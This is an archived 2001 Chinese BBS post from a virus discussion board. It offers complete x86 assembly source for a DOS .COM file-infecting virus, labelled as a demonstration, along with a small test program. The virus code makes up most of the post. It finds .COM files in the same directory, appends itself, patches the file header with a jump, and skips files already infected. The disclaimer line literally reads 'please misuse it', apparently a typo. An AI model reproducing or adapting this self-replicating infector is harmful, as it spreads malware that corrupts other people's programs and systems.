荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Mic (至酷霸王丸), 信区: Virus
标 题: 一个演示用的病毒的源程序,仅供参考
发信站: 荔园晨风BBS站 (Sat May 26 07:22:04 2001), 转信
发信人: Yes (Yes), 信区: Virus
标 题: 一个演示用的病毒的源程序,仅供参考
发信站: 启 明 星 站 (Sun Mar 11 09:32:58 2001), 转信
请误用于不良行为,否则后果自负!!!
+++需要有一点汇编知识的基础,好研究它的工作原理+++
1. 病毒源程序,用于感染与之在同一目录下的.COM文件,一次仅
感染一个。
zseg Segment
ORG 100H
ASSUME CS:zseg, DS:zseg
virus:mov ax,cs
mov ds,ax
mov es,ax
db 0bbh
grow dw 100h
sub bx,0100h
;
; set up DMA buffer
next: mov ah,1ah
lea dx,dir_buff[bx]
int 21h
;
; seek first .COM file
mov ah,4eh
mov cx,20h
lea dx,sch_str[bx]
int 21h
jc fail0
;
; seek second .COM file
lea di,dir_buff[bx]
mov cx,8
inc di
mov al,3fh
rep stosb
mov ah,4fh
int 21h
fail0:jc fail1
;
; Fill Filename into sch_str
lea si,file_name[bx]
lea di,sch_str[bx]
cld
mov cx,13
rep movsb
lea di,dir_buff[bx]
lea si,file_name[bx]
cld
mov cx,13
rep movsb
;
; open second .COM file
mov ah,3dh
mov al,2
lea dx,file_name[bx]
int 21h
fail1:jnc fail3
jmp fail2
;
; point file header
fail3:mov fhandle[bx],ax
mov ah,42h
mov al,0
push bx
mov bx,fhandle[bx]
mov cx,0
mov dx,0
int 21h
pop bx
;
; read 3 bytes from file header
; save in buffer so that protect it
mov ah,3fh
push bx
lea dx,buffer0[bx]
mov bx,fhandle[bx]
mov cx,3
int 21h
pop bx
;
; point file bottom
; output AT:length
mov ah,42h
mov al,2
push bx
mov bx,fhandle[bx]
mov cx,0
mov dx,0
int 21h
pop bx
;
; update jmp instruction
; update offset
sub ax,3
mov buffer2[bx],ax
add ax,103h
mov grow[bx],ax
mov dx,file_length[bx]
add ax,dx
jc fail2
;
; looking at the program if it had been infected
mov ah,buffer0[bx]
cmp ah,0e9h
jnz write
mov ax,buffer2[bx]
sub ax,buffer3[bx]
add ax,0100h
cmp ax,file_length[bx]
jne write
mov ah,3eh
push bx
mov bx,fhandle[bx]
int 21h
pop bx
jmp next
;
; write the file to second file
write:lea si,buffer0[bx]
lea di,old_head[bx]
cld
mov cx,3
rep movsb
mov ah,40h
mov dx,bx
add dx,100h
push bx
mov cx,file_length[bx]
sub cx, 100h
mov bx,fhandle[bx]
int 21h
pop bx
;
; point file header
mov ah,42h
mov al,0
push bx
mov bx,fhandle[bx]
mov cx,0
mov dx,0
int 21h
pop bx
;
; write jump instruction in file header
mov ah,40h
lea dx,buffer1[bx]
push bx
mov bx,fhandle[bx]
mov cx,3
int 21h
pop bx
;
; close second file
close:mov ah,3eh
push bx
mov bx,fhandle[bx]
int 21h
pop bx
; return user program
; jmp 100h
fail2:cmp bx,0000h
jne carrier
mov ax,4c00h
int 21h
carrier:
lea si,old_head[bx]
mov di,100h
mov cx,3
rep movsb
lea ax,back[bx]
sub ax,0feh
not ax
inc ax
mov WORD PTR back[bx],ax
mov cx,10h
loop1:nop
loop loop1
db 0e9h
back: dw 0000h
; data area
sch_str db 'VIRUS100.COM',0
dir_buff db 30 dup(?)
file_name db 13 dup(?)
old_head db 0
dw 0
buffer0 db 0
buffer3 dw 0
buffer1 db 0e9h
buffer2 dw 0
filename db 13 dup(?)
fhandle dw 0
file_length dw $+2
zseg ends
end virus
2. 测试程序(Test.COM)的源程序
zseg Segment
ORG 100H
ASSUME CS:zseg, DS:zseg
start: jmp cont
string db 'Test.COM... ...', 0ah, 0dh, '$'
cont: mov ax, cs
mov ds,ax
mov es,ax
lea dx, string
mov ah,09h
int 21h
mov ax,4c00h
int 21h
zseg ends
end start
--
※ 来源:.启 明 星 站 bbs.tju.edu.cn.[FROM: 202.113.11.35]
┏━━━━━━━━━━━━━━┓
┃ 重 ┆ 考 ┆ 佛 ┆ 睡 ┆ 枯 ┃
┃ 修 ┆ 卷 ┆ 祖 ┆ 觉 ┆ 等 ┃
┃ 人 ┆ 发 ┆ 耶 ┆ 收 ┆ 乾 ┃
┃ 在 ┆ 下 ┆ 稣 ┆ 拾 ┆ 坐 ┃
┃ 深 ┆ ┆ 安 ┆ 回 ┆ 涂 ┃
┃ 大 ┆ ┆ 拉 ┆ 家 ┆ 鸦 ┃
┗━━━━━━━━━━━━━━┛
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店